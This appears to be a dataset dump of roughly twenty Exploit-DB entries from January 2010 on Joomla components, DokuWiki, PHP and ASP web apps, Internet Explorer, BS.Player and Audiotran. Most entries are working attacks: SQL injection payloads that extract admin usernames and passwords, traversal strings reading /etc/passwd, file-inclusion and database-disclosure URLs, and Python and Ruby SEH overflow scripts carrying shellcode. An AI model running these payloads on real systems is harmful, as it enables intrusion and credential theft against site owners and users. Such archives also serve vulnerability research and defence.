QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer 6/7/8 - Shockwave Flash Object Denial of Service EDB-ID: 11182 CVE: 2010-0187 类型: DOS 平台: WINDOWS 发布日期: 2010-01-18 漏洞利用脚本: # Version: 6/7/8
# Tested on: Windows XP SP3 English & Windows 7
# CVE :
# Code:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11182.tar.gz (ie_crash.tar.gz)

Description: Modified 1360. byte to 44, 1361. to 43, 1362. 42, 1363.
byte to 41 of a sample swf file, ran it and crash occurred.

Screenshots:

Internet Explorer 6 - XP SP3 - http://www.mertsarica.com/images/ie6_xp_sp3_3.jpg
Internet Explorer 7 - XP SP3 - http://www.mertsarica.com/images/ie7_xp_sp3_1.jpg
Internet Explorer 8 - Windows 7 - http://www.mertsarica.com/images/ie8_win7.jpg URL: https://www.exploit-db.com/exploits/11182
标题: Joomla! Component com_libros - SQL Injection EDB-ID: 11178 CVE: 2010-0373 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-17 漏洞利用脚本: ########################################################################
#        Joomla Component com_libros SQL Injection Vulnerability
########################################################################
# Author   :FL0RiX
#
# Name     : com_libros
#
# Bug Type   : SQL Injection
#
# Infection    : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://server/index.php?option=com_libros&task=detail&Itemid=27&id=[EXPLOIT]
#Exploit:null+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+from+jos_users--
######################################################################## URL: https://www.exploit-db.com/exploits/11178
标题: Ebay Clone from clone2009 - SQL Injection EDB-ID: 11164 CVE: 2009-2894 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-16 漏洞利用脚本: /*

Name : Ebay Clone from (clone2009.com<http://clone2009.com>)
Site : http://www.clone2009.com/

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com

Greetz : Zuka , GreyMen :)

*/

# 1st SQL injection :

File : gotourl.php , Get : id

[HOST]/[PATH]/gotourl.php?id=-1+union+select+version()--

=> You will be redirected to [HOST]/[PATH]/[VERSION]

Demo : http://server/gotourl.php?id=0+union+select+version()--

# 2nd SQL Injection :

File : product_desc.php  , Get : id

[HOST]/[PATH]/product_desc.php?id=[INJECTION]

Demo : http://server/product_desc.php?id=-35+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

# 3th SQL Injection :

File : view_items.php , Get : id

[HOST]/[PATH]/view_items.php?id=[INJECTION]

Demo : http://server/view_items.php?id=-62+union+select+1,2,3,4,5,6,7,8,9,10,0x3c666f6e7420636f6c6f723d22726564223e4845524520494e4a454354494f4e3c2f666f6e743e,12,13,14,15,16,17,18--

# 4th SQL Injection :

File : bidhistory.php , Get : id

[HOST]/[PATH]/bidhistory.php?id=[INJECTION]

Demo : http://server/bidhistory.php?id=-45+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--

# 5th SQL Injection :

FIle : view_feedback.php , Get : id

[HOST]/[PATH]/view_feedback.php?id=[INJECTION]

Demo : http://server/view_feedback.php?id=-62+union+select+1,2,3,4,5,6,7,8,9,10,0x3c68313e484552453c2f68313e,12,13,14,15,16,17,18-- URL: https://www.exploit-db.com/exploits/11164
标题: BS.Player 2.51 - Universal Overflow (SEH) EDB-ID: 11154 CVE: 2010-2004 类型: LOCAL 平台: WINDOWS 发布日期: 2010-01-16 漏洞利用脚本: # Exploit Title: BS.Player v2.51 Universal SEH Overflow Exploit
# Date: 15/01/2010
# Author: Dz_attacker
# Version: 2.51
# Tested on: Windows xp sp3
# Code :


# Discover : mertsarica
# Exploit : Dz_Attacker (dz_attacker@hotmail.fr)

junk = "[Options]\nSkin="

# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x33\x4b\x38\x4e\x47"
"\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58"
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38"
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x34"
"\x4b\x38\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x30\x42\x50\x4b\x58\x4a\x36\x4e\x53\x4f\x35\x41\x33"
"\x48\x4f\x42\x36\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x45\x4a\x36\x50\x57\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x56\x42\x50\x5a")

exploit =  junk
exploit += payload
exploit += "\x41"*(496-len(payload))
exploit += "\xeb\x06\x42\x42"
exploit += "\x2C\x3C\x4E\x02"
exploit += "\x61"*3
exploit += "\x83\xC0\x31\x50\xC3"
exploit += "\x44"*50

try:
   bsi = open("exploit.bsi",'w')
   bsi.write(exploit)
   bsi.close()
   print "Exploit file created!\n"
except:
   print "Error occured!" URL: https://www.exploit-db.com/exploits/11154
标题: Joomla! Component com_articlemanager - SQL Injection EDB-ID: 11140 CVE: 2010-0372 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-14 漏洞利用脚本: ########################################################################
#        Joomla Component com_articlemanager SQL Injection Vulnerability
########################################################################
# Author   :FL0RiX
#
# Name     : com_articlemanager
#
# Bug Type   : SQL Injection
#
# Infection    : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://[server]/index.php?option=com_articlemanager&Itemid=349&task=display&artid=
#
#EXPLOIT : null/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rix,5,6,7,8/**/from/**/jos_users--
######################################################################## URL: https://www.exploit-db.com/exploits/11140
标题: BS.Player 2.51 - Overwrite (SEH) EDB-ID: 11146 CVE: 2010-2004 类型: LOCAL 平台: WINDOWS 发布日期: 2010-01-15 漏洞利用脚本: # BS.Player v2.51
# Software Link: http://www.bsplayer.com/bsplayer-english/download-free.html
# SEH Overwrite Vulnerability
# http://www.mertsarica.com

junk = "[Options]\nSkin="

vulnerability = junk + "\x41"*496 + "\x42"*4 + "\x43"*4

try: 
   vulnerable = open("vulnerable.bsi",'w') 
   vulnerable.write(vulnerability) 
   vulnerable.close() 
   print "Vulnerable file created!\n"
except: 
   print "Error occured!" URL: https://www.exploit-db.com/exploits/11146
标题: dokuwiki 2009-12-25 - Multiple Vulnerabilities EDB-ID: 11141 CVE: 2010-0287 2010-0288 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-14 漏洞利用脚本: Reported:        13-01-2010
Patched:        13-01-2010
Released:        14-01-2010
Vulnerable version :     
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25.tgz
Patched version:    
http://www.splitbrain.org/_media/projects/dokuwiki/dokuwiki-2009-12-25b.tgz
Author:            white_sheep
Contact:        white_sheep@ihteam.net - https://www.ihteam.net

--------------------  Show Outside Directory

PoC :

     http://server/plugins/acl/ajax.php?ajax=tree&ns=../pages/

     The bug allows listing the names of arbitrary file on the webserver 
- NOT THEIR CONTENTS.


--------------------  Arbitrary Change or Delete Wiki Permission

PoC :

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL) 

             add to acl.auth.php read or write authorization.

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
             delete from acl.auth.php an eventually authorization like 
(ACL).

     
http://server/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)
             delete from acl.auth.php all authorization like (ACL).

     where (ACL) must be:
         1     -> read
         2     -> modified
         4     -> creation
         8     -> upload
         16     -> delete URL: https://www.exploit-db.com/exploits/11141
标题: FAQEngine 4.24.00 - Remote File Inclusion EDB-ID: 11111 CVE: 2010-1360 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-11 漏洞利用脚本: ###################################################################################
                                                                                  #
[~] FAQEngine 4.24.00 - Remote File Inclusion vulnerability   [ RFI ]             #
[~] Author : kaMtiEz (kamzcrew@gmail.com)                                    #
[~] Homepage : http://www.indonesiancoder.com                                  #
[~] Date : January 6, 2010                                                 #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.boesch-it.de/
[+] Download : http://www.boesch-it.de/sw/faqengine.php?lang=en
[+] version : 4.24.00 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : -            
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/attachs.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/backup.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/badwords.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/categories.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/changepw.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/colorchooser.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/colorwheel.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/dbfiles.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/diraccess.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/faq.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/index.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/kb.php?path_faqe=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/stats.php?path_faqe=[INDONESIANCODER]

etc etc etc .. too much ..

[ ERROR IN ]

require_once($path_faqe."/includes/global.inc.php");

[ FIX ] 

dunno .. :P~~

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya ..
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] KEEP MOVIN .. !
[+] INDONESIANCODER still r0x

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM URL: https://www.exploit-db.com/exploits/11111
标题: E-membres 1.0 - Remote Database Disclosure EDB-ID: 11098 CVE: 2010-1067 类型: WEBAPPS 平台: ASP 发布日期: 2010-01-10 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] E-membres v1.0 Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ E-membres ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Elle contient la partie d administration des membres ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/db/bdEMembres.mdb


Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/11098
标题: Joomla! Component com_jvideodirect - Directory Traversal EDB-ID: 11089 CVE: 2010-0942 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-10 漏洞利用脚本: @~~=======================================~~@
@~~=Script : Joomla Component com_jvideodirect

@~~=Author : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_jvideodirect "

@~~=Note : Kimseye Hakettiginden Fazla Deger Vermeyecekmissin..!!

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/11089
标题: Joomla! Component com_jashowcase - Directory Traversal EDB-ID: 11090 CVE: 2010-0943 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-10 漏洞利用脚本: @~~=======================================~~@
@~~=Script : Joomla Component com_jashowcase

@~~=Author : FL0RiX

@~~=Greez : Deep-Power ,Pyske,Wretch-x & All Friends

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_jashowcase "

@~~=Note : Kimseye Hakettiginden Fazla Deger Vermeyecekmissin..!!

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/11090
标题: ABB 1.1 - Forum Remote Database Disclosure EDB-ID: 11096 CVE: 2010-0939 类型: WEBAPPS 平台: ASP 发布日期: 2010-01-10 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ABB v1.1 Forum Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ ABB Forums ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Possede de tres nombreuses options d administration et de configuration ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/fpdb/abb.mdb


===[ Admin Login ]===

    [»] http://server/[path]/admin.asp


Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/11096
标题: Joomla! Component com_jcollection - Directory Traversal EDB-ID: 11088 CVE: 2010-0944 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-10 漏洞利用脚本: @~~=======================================~~@
@~~=Script : Joomla Component com_jcollection

@~~=Author : FL0RiX

@~~=Greez : Dost mu var?

@~~=Bug Type : Directory Traversal

@~~=Dork : inurl:"com_jcollection "

@~~=Note: Kimseye Hakettiginden Fazla Deger Vermeyeceksin.

@~~=======================================~~@

@~~=Vuln.

: http://site/ [Yol] /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/11088
标题: Microsoft Windows Live Messenger 2009 - ActiveX Denial of Service EDB-ID: 11070 CVE: 2010-0278 类型: DOS 平台: WINDOWS 发布日期: 2010-01-08 漏洞利用脚本: Product:
Windows Live Messenger 2009 (Build 14.0.8089.726)

************************************************************************
********
Vulnerability:
ActiveX - Denial of Service

************************************************************************
********
Discussion:
Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)
Sending a string to ViewProfile() , cause a crash on msnmsgr.exe
*must be signed in Msn Messenger account for triggerin the vulnerability.

************************************************************************
********
Vulnerable:
Windows Live Messenger 2009 on Windows Vista
Windows Live Messenger 2009 on Windows 7

Not Vulnerable:
Windows Live Messenger 2009 on Windows XP

Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com

and

Natal Networks Inc.
Vulnerability Discovery, Penetration Testing, IT Security Consulting
www.natalnetworks.com

************************************************************************
********

Original Advisory
www.hackattack.com
www.natalnetworks.com

************************************************************************
********
PoC .wsf script:
'works on vista and windows7

<package>

<job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' />

<script language='vbscript'>

arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

target.ViewProfile arg1

</script>

</job>

</package>

About HACKATTACK and Natal Networks
================
HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria
More Information about HACKATTACK at
http://www.hackattack.com

Natal Networks was founded by Hellcode Research Team in 2009.
Main mission of Natal Network is discover and research vulnerabilities.
Providing penetration tests and security auditing services.
More about; www.natalnetworks.com URL: https://www.exploit-db.com/exploits/11070
标题: phpMDJ 1.0.3 - SQL Injection EDB-ID: 11083 CVE: 2010-1071 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-10 漏洞利用脚本: ,--------------------------------------------------------------,
> Vulnerable Script : phpMDJ 1.0.3                             \
> Download : http://www.weboac.be/phpmdj/docs/phpmdj1.0.3.zip  \
> Vulnerability : Remote Sql Injection                         \
'--------------------------------------------------------------'

,-------------------------------------------------------------------------------------------------------------------------------------,
> Profile.php                     \
> Line 14 : $membre = $_GET['id'];                  \
> Line 15 :                     \
> Line 16 : $sql = "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre"; \
>                      \
> Injection:                     \
> http://site/path/profile.php?id=[SQL]                  \
>                      \
> Example:                     \
> http://site/path/profile.php?id=-1 union select 1,2,3,mdp,5,6,pseudo,8,9,10,11,12,13,14,15,16 FROM phpmdj_users where id=1--       \
'-------------------------------------------------------------------------------------------------------------------------------------' URL: https://www.exploit-db.com/exploits/11083
标题: Audiotran 1.4.1 (Windows XP SP2/SP3 English) - Local Buffer Overflow EDB-ID: 11079 CVE: 2009-0476 类型: LOCAL 平台: WINDOWS 发布日期: 2010-01-10 漏洞利用脚本: #!/usr/bin/ruby
#
# Exploit Title : Audiotran 1.4.1 Win XP SP2/SP3 English Buffer Overflow
# Date          : January 9th, 2010
# Author        : Sébastien Duquette
# Software Link : http://www.e-soft.co.uk/Audiotran.htm
# Version       : 1.4.1
# OS            : Windows
# Tested on     : XP SP2/SP3 En (VMware)
# Type of vuln  : Stack Overflow / SEH
# Greetz to     : Corelan Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
#

banner =
"|------------------------------------------------------------------|\n" +
"|                         __               __                      |\n" +
"|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n" +
"|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n" +
"| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n" +
"| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n" +
"|                                                                  |\n" +
"|                                       http://www.corelan.be:8800 |\n" +
"|                                                                  |\n" +
"|-------------------------------------------------[ EIP Hunters ]--|\n\n"

# Corelan Team MsgBox
payload =
"\xeb\x22\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78" +
"\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb" +
"\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3" +
"\xeb\x69\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54" +
"\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb" +
"\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" +
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb" +
"\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb" +
"\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b" +
"\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8" +
"\xaa\xff\xff\xff\x89\x07\x44\x44\x44\x44\x44\x44" +
"\x44\x44\x47\x47\x47\x47\x39\xce\x75\xe6\xc3\x4c" +
"\x4c\x4c\x4c\x89\xe5\xe8\x68\xff\xff\xff\x89\xc2" +
"\xeb\x1c\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8" +
"\xc8\xff\xff\xff\xeb\x15\x31\xd2\x59\x88\x51\x36" +
"\x51\x52\xff\x54\x24\x0c\xe8\xdf\xff\xff\xff\x57" +
"\x7f\x29\x62\xe8\xe6\xff\xff\xff\x43\x6f\x72\x65" +
"\x6c\x61\x6e\x20\x54\x65\x61\x6d\x20\x53\x68\x65" +
"\x6c\x6c\x63\x6f\x64\x65\x20\x2d\x20\x50\x72\x6f" +
"\x67\x72\x61\x6d\x20\x65\x78\x70\x6c\x6f\x69\x74" +
"\x65\x64\x20\x73\x75\x63\x65\x73\x73\x66\x75\x6c" +
"\x6c\x79\x58"

print banner
puts "[+] Exploit for Audiotran 1.4.1."

filename = "audiotran_poc.pls"
f = File.new(filename, 'w')
f.write 'A' * 1308 #padding
f.write "\xeb\x06\x90\x90"
f.write "\xcb\x75\x52\x73" # ret at 0x735275CB [msvbvm60.dll]
f.write payload
f.write 'A' * 9000 # padding
f.close

puts "[+] Wrote exploit file : #{filename}." URL: https://www.exploit-db.com/exploits/11079
标题: Joomla! Component com_ksadvertiser - SQL Injection EDB-ID: 11068 CVE: 2010-0946 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-08 漏洞利用脚本: ########################################################################
#        Joomla Component com_ksadvertiser SQL Injection Vulnerability
########################################################################
# Author   :FL0RiX
#
# Name     : com_ksadvertiser
#
# Bug Type   : SQL Injection
#
# Infection    : Admin login bilgileri alinabilir.
#
# Demo Vuln :
#
# http://server/index.php?option=com_ksadvertiser&pid=[EXPLOIT]&task=showcats
#
#EXPLOIT : null/**/union/**/select/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14/**/from/**/jos_users--
######################################################################## URL: https://www.exploit-db.com/exploits/11068